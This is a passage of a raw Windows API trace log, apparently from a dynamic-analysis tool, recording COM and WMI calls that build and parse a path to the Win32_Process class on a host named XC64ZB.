WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1b4335d0, riid=0x7ffb029303f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b10c218 | out: pCid=0x1b10c218*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0132.484] WbemDefPath:IUnknown:Release (This=0x1b4335d0) returned 0x3 [0132.484] CoGetContextToken (in: pToken=0x1b10c2a0 | out: pToken=0x1b10c2a0) returned 0x0 [0132.484] CoGetContextToken (in: pToken=0x1b10c720 | out: pToken=0x1b10c720) returned 0x0 [0132.484] WbemDefPath:IUnknown:QueryInterface (in: This=0x352580, riid=0x7ffb0293bc30*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b10c7e0 | out: ppvObject=0x1b10c7e0*=0x0) returned 0x80004002 [0132.484] WbemDefPath:IUnknown:Release (This=0x352580) returned 0x2 [0132.484] WbemDefPath:IUnknown:Release (This=0x352580) returned 0x1 [0132.484] CoGetContextToken (in: pToken=0x1b10d510 | out: pToken=0x1b10d510) returned 0x0 [0132.484] CoGetContextToken (in: pToken=0x1b10d410 | out: pToken=0x1b10d410) returned 0x0 [0132.485] WbemDefPath:IUnknown:QueryInterface (in: This=0x352580, riid=0x1b10d570*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1b10d540 | out: ppvObject=0x1b10d540*=0x352580) returned 0x0 [0132.485] WbemDefPath:IUnknown:AddRef (This=0x352580) returned 0x3 [0132.485] WbemDefPath:IUnknown:Release (This=0x352580) returned 0x2 [0132.485] WbemDefPath:IWbemPath:SetText (This=0x352580, uMode=0x4, pszPath="\\\\XC64ZB\\ROOT\\CIMV2:Win32_Process") returned 0x0 [0132.485] IWbemClassObject:Get (in: This=0x1b432190, wszName="__SERVER", lFlags=0, pVal=0x1b10d980*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x1b10dac0*=0, plFlavor=0x1b10dab8*=0 | out: pVal=0x1b10d980*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="XC64ZB", varVal2=0x0), pType=0x1b10dac0*=8, plFlavor=0x1b10dab8*=64) returned 0x0 [0132.485] SysStringByteLen (bstr="XC64ZB") returned 0xc [0132.485] SysStringByteLen (bstr="XC64ZB") returned 0xc [0132.485] IWbemClassObject:Get (in: This=0x1b432190, wszName="__NAMESPACE", lFlags=0, pVal=0x1b10d980*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x1b10dac0*=8, plFlavor=0x1b10dab8*=64 | out: pVal=0x1b10d980*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="ROOT\\CIMV2", varVal2=0x0), pType=0x1b10dac0*=8, plFlavor=0x1b10dab8*=64) returned 0x0 [0132.485] SysStringByteLen (bstr="ROOT\\CIMV2") returned 0x14 [0132.485] SysStringByteLen (bstr="ROOT\\CIMV2") returned 0x14 [0132.485] IWbemClassObject:Get (in: This=0x1b432190, wszName="__CLASS", lFlags=0, pVal=0x1b10d980*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x1b10dac0*=8, plFlavor=0x1b10dab8*=64 | out: pVal=0x1b10d980*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_Process", varVal2=0x0), pType=0x1b10dac0*=8, plFlavor=0x1b10dab8*=64) returned 0x0 [0132.485] SysStringByteLen (bstr="Win32_Process") returned 0x1a [0132.485] SysStringByteLen (bstr="Win32_Process") returned 0x1a [0132.485] CoGetObjectContext (in: riid=0x2846078*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b10d8c8 | out: ppv=0x1b10d8c8*=0x3111d8) returned 0x0 [0132.485] IComThreadingInfo:GetCurrentApartmentType (in: This=0x3111d8, pAptType=0x1b10d8b8 | out: pAptType=0x1b10d8b8*=1) returned 0x0 [0132.486] IUnknown:QueryInterface (in: This=0x3111d8, riid=0x2846058*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b10d8c0 | out: ppvObject=0x1b10d8c0*=0x0) returned 0x80004002 [0132.486] IUnknown:Release (This=0x3111d8) returned 0x1 [0132.486] CoGetClassObject (in: rclsid=0x1b3c7c88*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7ffb02962d08*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b10ccb8 | out: ppv=0x1b10ccb8*=0x33a740) returned 0x0 [0132.486] WbemDefPath:IUnknown:QueryInterface (in: This=0x33a740, riid=0x7ffb029856a0*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b10cda0 | out: ppvObject=0x1b10cda0*=0x0) returned 0x80004002 [0132.486] WbemDefPath:IClassFactory:CreateInstance (in: This=0x33a740, pUnkOuter=0x0, riid=0x7ffb029303f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b10cd78 | out: ppvObject=0x1b10cd78*=0x351140) returned 0x0 [0132.486] WbemDefPath:IUnknown:Release (This=0x33a740) returned 0x0 [0132.486] WbemDefPath:IUnknown:QueryInterface (in: This=0x351140, riid=0x7ffb029303f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b10cb20 | out: ppvObject=0x1b10cb20*=0x351140) returned 0x0 [0132.487] WbemDefPath:IUnknown:QueryInterface (in: This=0x351140, riid=0x7ffb0293bbe0*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b10cbb0 | out: ppvObject=0x1b10cbb0*=0x0) returned 0x80004002 [0132.487] WbemDefPath:IUnknown:QueryInterface (in: This=0x351140, riid=0x7ffb0293bc20*(Data1=0xaf86e2e0, Data2=0xb12d, Data3=0x4c6a, Data4=([0]=0x9c, [1]=0x5a, [2]=0xd7, [3]=0xaa, [4]=0x65, [5]=0x10, [6]=0x1e, [7]=0x90)), ppvObject=0x1b10c3a8 | out: ppvObject=0x1b10c3a8*=0x0) returned 0x80004002 [0132.487] WbemDefPath:IUnknown:AddRef (This=0x351140) returned 0x3 [0132.487] WbemDefPath:IUnknown:QueryInterface (in: This=0x351140, riid=0x7ffb0293bbf0*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b10c268 | out: ppvObject=0x1b10c268*=0x0) returned 0x80004002 [0132.487] WbemDefPath:IUnknown:QueryInterface (in: This=0x351140, riid=0x7ffb0293bc00*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b10c1f0 | out: ppvObject=0x1b10c1f0*=0x0) returned 0x80004002 [0132.487] WbemDefPath:IUnknown:QueryInterface (in: This=0x351140, riid=0x7ffb029349a8*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b10c1e0 | out: ppvObject=0x1b10c1e0*=0x33ab20) returned 0x0 [0132.487] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x33ab20, riid=0x7ffb029303f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b10c208 | out: pCid=0x1b10c208*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0132.487] WbemDefPath:IUnknown:Release (This=0x33ab20) returned 0x3 [0132.487] CoGetContextToken (in: pToken=0x1b10c290 | out: pToken=0x1b10c290) returned 0x0 [0132.487] CoGetContextToken (in: pToken=0x1b10c710 | out: pToken=0x1b10c710) returned 0x0 [0132.487] WbemDefPath:IUnknown:QueryInterface (in: This=0x351140, riid=0x7ffb0293bc30*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b10c7d0 | out: ppvObject=0x1b10c7d0*=0x0) returned 0x80004002 [0132.487] WbemDefPath:IUnknown:Release (This=0x351140) returned 0x2 [0132.487] WbemDefPath:IUnknown:Release (This=0x351140) returned 0x1 [0132.487] CoGetContextToken (in: pToken=0x1b10d500 | out: pToken=0x1b10d500) returned 0x0 [0132.487] CoGetContextToken (in: pToken=0x1b10d400 | out: pToken=0x1b10d400) returned 0x0 [0132.487] WbemDefPath:IUnknown:QueryInterface (in: This=0x351140, riid=0x1b10d560*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1b10d530 | out: ppvObject=0x1b10d530*=0x351140) returned 0x0 [0132.487] WbemDefPath:IUnknown:AddRef (This=0x351140) returned 0x3 [0132.487] WbemDefPath:IUnknown:Release (This=0x351140) returned 0x2 [0132.487] WbemDefPath:IWbemPath:SetText (This=0x351140, uMode=0x4, pszPath="") returned 0x0 [0132.487] CoGetObjectContext (in: riid=0x2846078*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b10d8c8 | out: ppv=0x1b10d8c8*=0x3111d8) returned 0x0 [0132.488] IComThreadingInfo:GetCurrentApartmentType (in: This=0x3111d8, pAptType=0x1b10d8b8 | out: pAptType=0x1b10d8b8*=1) returned 0x0 [0132.488] IUnknown:QueryInterface (in: This=0x3111d8, riid=0x2846058*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b10d8c0 | out: ppvObject=0x1b10d8c0*=0x0) returned 0x80004002 [0132.488] IUnknown:Release (This=0x3111d8) returned 0x1 [0132.488] CoGetClassObject (in: rclsid=0x1b3c7c88*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7ffb02962d08*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b10ccb8 | out: ppv=0x1b10ccb8*=0x33abe0) returned 0x0 [0132.488] WbemDefPath:IUnknown:QueryInterface (in: This=0x33abe0, riid=0x7ffb029856a0*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b10cda0 | out: ppvObject=0x1b10cda0*=0x0) returned 0x80004002 [0132.489] WbemDefPath:IClassFactory:CreateInstance (in: This=0x33abe0, pUnkOuter=0x0, riid=0x7ffb029303f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b10cd78 | out: ppvObject=0x1b10cd78*=0x352880) returned 0x0 [0132.489] WbemDefPath:IUnknown:Release (This=0x33abe0) returned 0x0 [0132.489] WbemDefPath:IUnknown:QueryInterface (in: This=0x352880, riid=0x7ffb029303f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b10cb20 | out: ppvObject=0x1b10cb20*=0x352880) returned 0x0 [0132.489] WbemDefPath:IUnknown:QueryInterface (in: This=0x352880, riid=0x7ffb0293bbe0*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b10cbb0 | out: ppvObject=0x1b10cbb0*=0x0) returned 0x80004002 [0132.489] WbemDefPath:IUnknown:QueryInterface (in: This=0x352880, riid=0x7ffb0293bc20*(Data1=0xaf86e2e0, Data2=0xb12d, Data3=0x4c6a, Data4=([0]=0x9c, [1]=0x5a, [2]=0xd7, [3]=0xaa, [4]=0x65, [5]=0x10, [6]=0x1e, [7]=0x90)), ppvObject=0x1b10c3a8 | out: ppvObject=0x1b10c3a8*=0x0) returned 0x80004002 [0132.489] WbemDefPath:IUnknown:AddRef (This=0x352880) returned 0x3 [0132.489] WbemDefPath:IUnknown:QueryInterface (in: This=0x352880, riid=0x7ffb0293bbf0*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b10c268 | out: ppvObject=0x1b10c268*=0x0) returned 0x80004002 [0132.489] WbemDefPath:IUnknown:QueryInterface (in: This=0x352880, riid=0x7ffb0293bc00*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b10c1f0 | out: ppvObject=0x1b10c1f0*=0x0) returned 0x80004002 [0132.489] WbemDefPath:IUnknown:QueryInterface (in: This=0x352880, riid=0x7ffb029349a8*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b10c1e0 | out: ppvObject=0x1b10c1e0*=0x33ab80) returned 0x0 [0132.489] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x33ab80, riid=0x7ffb029303f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b10c208 | out: pCid=0x1b10c208*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0132.489] WbemDefPath:IUnknown:Release (This=0x33ab80) returned 0x3 [0132.489] CoGetContextToken (in: pToken=0x1b10c290 | out: pToken=0x1b10c290) returned 0x0 [0132.489] CoGetContextToken (in: pToken=0x1b10c710 | out: pToken=0x1b10c710) returned 0x0 [0132.489] WbemDefPath:IUnknown:QueryInterface (in: This=0x352880, riid=0x7ffb0293bc30*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b10c7d0 | out: ppvObject=0x1b10c7d0*=0x0) returned 0x80004002 [0132.489] WbemDefPath:IUnknown:Release (This=0x352880) returned 0x2 [0132.489] WbemDefPath:IUnknown:Release (This=0x352880) returned 0x1 [0132.489] CoGetContextToken (in: pToken=0x1b10d500 | out: pToken=0x1b10d500) returned 0x0 [0132.490] CoGetContextToken (in: pToken=0x1b10d400 | out: pToken=0x1b10d400) returned 0x0 [0132.490] WbemDefPath:IUnknown:QueryInterface (in: This=0x352880, riid=0x1b10d560*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1b10d530 | out: ppvObject=0x1b10d530*=0x352880) returned 0x0 [0132.490] WbemDefPath:IUnknown:AddRef (This=0x352880) returned 0x3 [0132.490] WbemDefPath:IUnknown:Release (This=0x352880) returned 0x2 [0132.490] WbemDefPath:IWbemPath:SetText (This=0x352880, uMode=0x4, pszPath="") returned 0x0 [0132.490] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x352880, puCount=0x1b10d978 | out: puCount=0x1b10d978*=0x0) returned 0x0 [0132.490] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x351140, puCount=0x1b10d978 | out: puCount=0x1b10d978*=0x0) returned 0x0 [0132.490] WbemDefPath:IWbemPath:GetClassName (in: This=0x352880, puBuffLength=0x1b10da08*=0x0, pszName=0x0 | out: puBuffLength=0x1b10da08*=0x0, pszName=0x0) returned 0x8004103a [0132.490] WbemDefPath:IWbemPath:GetServer (in: This=0x352880, puNameBufLength=0x1b10da10*=0x0, pName=0x0 | out: puNameBufLength=0x1b10da10*=0x0, pName=0x0) returned 0x80041009 [0132.490] WbemDefPath:IWbemPath:SetServer (This=0x352880, Name="XC64ZB") returned 0x0 [0132.490] CoGetObjectContext (in: riid=0x2846078*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b10d8c8 | out: ppv=0x1b10d8c8*=0x3111d8) returned 0x0 [0132.490] IComThreadingInfo:GetCurrentApartmentType (in: This=0x3111d8, pAptType=0x1b10d8b8 | out: pAptType=0x1b10d8b8*=1) returned 0x0 [0132.490] IUnknown:QueryInterface (in: This=0x3111d8, riid=0x2846058*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b10d8c0 | out: ppvObject=0x1b10d8c0*=0x0) returned 0x80004002 [0132.490] IUnknown:Release (This=0x3111d8) returned 0x1 [0132.491] CoGetClassObject (in: rclsid=0x1b3c7c88*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7ffb02962d08*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b10ccb8 | out: ppv=0x1b10ccb8*=0x33aca0) returned 0x0 [0132.491] WbemDefPath:IUnknown:QueryInterface (in: This=0x33aca0, riid=0x7ffb029856a0*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b10cda0 | out: ppvObject=0x1b10cda0*=0x0) returned 0x80004002 [0132.491] WbemDefPath:IClassFactory:CreateInstance (in: This=0x33aca0, pUnkOuter=0x0, riid=0x7ffb029303f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b10cd78 | out: ppvObject=0x1b10cd78*=0x351500) returned 0x0 [0132.491] WbemDefPath:IUnknown:Release (This=0x33aca0) returned 0x0 [0132.491] WbemDefPath:IUnknown:QueryInterface (in: This=0x351500, riid=0x7ffb029303f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b10cb20 | out: ppvObject=0x1b10cb20*=0x351500) returned 0x0 [0132.491] WbemDefPath:IUnknown:QueryInterface (in: This=0x351500, riid=0x7ffb0293bbe0*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b10cbb0 | out: ppvObject=0x1b10cbb0*=0x0) returned 0x80004002 [0132.491] WbemDefPath:IUnknown:QueryInterface (in: This=0x351500, riid=0x7ffb0293bc20*(Data1=0xaf86e2e0, Data2=0xb12d, Data3=0x4c6a, Data4=([0]=0x9c, [1]=0x5a, [2]=0xd7, [3]=0xaa, [4]=0x65, [5]=0x10, [6]=0x1e, [7]=0x90)), ppvObject=0x1b10c3a8 | out: ppvObject=0x1b10c3a8*=0x0) returned 0x80004002 [0132.491] WbemDefPath:IUnknown:AddRef (This=0x351500) returned 0x3 [0132.491] WbemDefPath:IUnknown:QueryInterface (in: This=0x351500, riid=0x7ffb0293bbf0*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b10c268 | out: ppvObject=0x1b10c268*=0x0) returned 0x80004002 [0132.491] WbemDefPath:IUnknown:QueryInterface (in: This=0x351500, riid=0x7ffb0293bc00*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b10c1f0 | out: ppvObject=0x1b10c1f0*=0x0) returned 0x80004002 [0132.491] WbemDefPath:IUnknown:QueryInterface (in: This=0x351500, riid=0x7ffb029349a8*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b10c1e0 | out: ppvObject=0x1b10c1e0*=0x33a9e0) returned 0x0 [0132.492] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x33a9e0, riid=0x7ffb029303f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b10c208 | out: pCid=0x1b10c208*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0132.492] WbemDefPath:IUnknown:Release (This=0x33a9e0) returned 0x3 [0132.492] CoGetContextToken (in: pToken=0x1b10c290 | out: pToken=0x1b10c290) returned 0x0 [0132.492] CoGetContextToken (in: pToken=0x1b10c710 | out: pToken=0x1b10c710) returned 0x0 [0132.492] WbemDefPath:IUnknown:QueryInterface (in: This=0x351500, riid=0x7ffb0293bc30*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b10c7d0 | out: ppvObject=0x1b10c7d0*=0x0) returned 0x80004002 [0132.492] WbemDefPath:IUnknown:Release (This=0x351500) returned 0x2 [0132.492] WbemDefPath:IUnknown:Release (This=0x351500) returned 0x1 [0132.492] CoGetContextToken (in: pToken=0x1b10d500 | out: pToken=0x1b10d500) returned 0x0 [0132.492] CoGetContextToken (in: pToken=0x1b10d400 | out: pToken=0x1b10d400) returned 0x0 [0132.492] WbemDefPath:IUnknown:QueryInterface (in: This=0x351500, riid=0x1b10d560*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1b10d530 | out: ppvObject=0x1b10d530*=0x351500) returned 0x0 [0132.492] WbemDefPath:IUnknown:AddRef (This=0x351500) returned 0x3 [0132.492] WbemDefPath:IUnknown:Release (This=0x351500) returned 0x2 [0132.492] WbemDefPath:IWbemPath:SetText (This=0x351500, uMode=0x4, pszPath="ROOT\\CIMV2") returned 0x0 [0132.492] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x352880, puCount=0x1b10d978 | out: puCount=0x1b10d978*=0x0) returned 0x0 [0132.492] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x351500, puCount=0x1b10d978 | out: puCount=0x1b10d978*=0x2) returned 0x0 [0132.492] WbemDefPath:IWbemPath:GetText (in: This=0x351500, lFlags=16, puBuffLength=0x1b10d970*=0x0, pszText=0x0 | out: puBuffLength=0x1b10d970*=0xb, pszText=0x0) returned 0x0 [0132.492] WbemDefPath:IWbemPath:GetText (in: This=0x351500, lFlags=16, puBuffLength=0x1b10d970*=0xb, pszText="0000000000" | out: puBuffLength=0x1b10d970*=0xb, pszText="ROOT\\CIMV2") returned 0x0 [0132.492] WbemDefPath:IWbemPath:RemoveAllNamespaces (This=0x352880) returned 0x0 [0132.492] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x351500, puCount=0x1b10d9d0 | out: puCount=0x1b10d9d0*=0x2) returned 0x0 [0132.492] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x351500, uIndex=0x0, puNameBufLength=0x1b10d9c8*=0x0, pName=0x0 | out: puNameBufLength=0x1b10d9c8*=0x5, pName=0x0) returned 0x0 [0132.492] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x351500, uIndex=0x0, puNameBufLength=0x1b10d9c8*=0x5, pName="0000" | out: puNameBufLength=0x1b10d9c8*=0x5, pName="ROOT") returned 0x0 [0132.493] WbemDefPath:IWbemPath:SetNamespaceAt (This=0x352880, uIndex=0x0, pszName="ROOT") returned 0x0 [0132.493] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x351500, uIndex=0x1, puNameBufLength=0x1b10d9c8*=0x0, pName=0x0 | out: puNameBufLength=0x1b10d9c8*=0x6, pName=0x0) returned 0x0 [0132.493] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x351500, uIndex=0x1, puNameBufLength=0x1b10d9c8*=0x6, pName="00000" | out: puNameBufLength=0x1b10d9c8*=0x6, pName="CIMV2") returned 0x0 [0132.493] WbemDefPath:IWbemPath:SetNamespaceAt (This=0x352880, uIndex=0x1, pszName="CIMV2") returned 0x0 [0132.493] WbemDefPath:IWbemPath:GetClassName (in: This=0x352880, puBuffLength=0x1b10da08*=0x0, pszName=0x0 | out: puBuffLength=0x1b10da08*=0x0, pszName=0x0) returned 0x8004103a [0132.493] WbemDefPath:IWbemPath:SetClassName (This=0x352880, Name="Win32_Process") returned 0x0 [0132.493] WbemDefPath:IWbemPath:GetInfo (in: This=0x352880, uRequestedInfo=0x0, puResponse=0x1b10daf0 | out: puResponse=0x1b10daf0*=0x20c16) returned 0x0 [0132.493] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x352880, 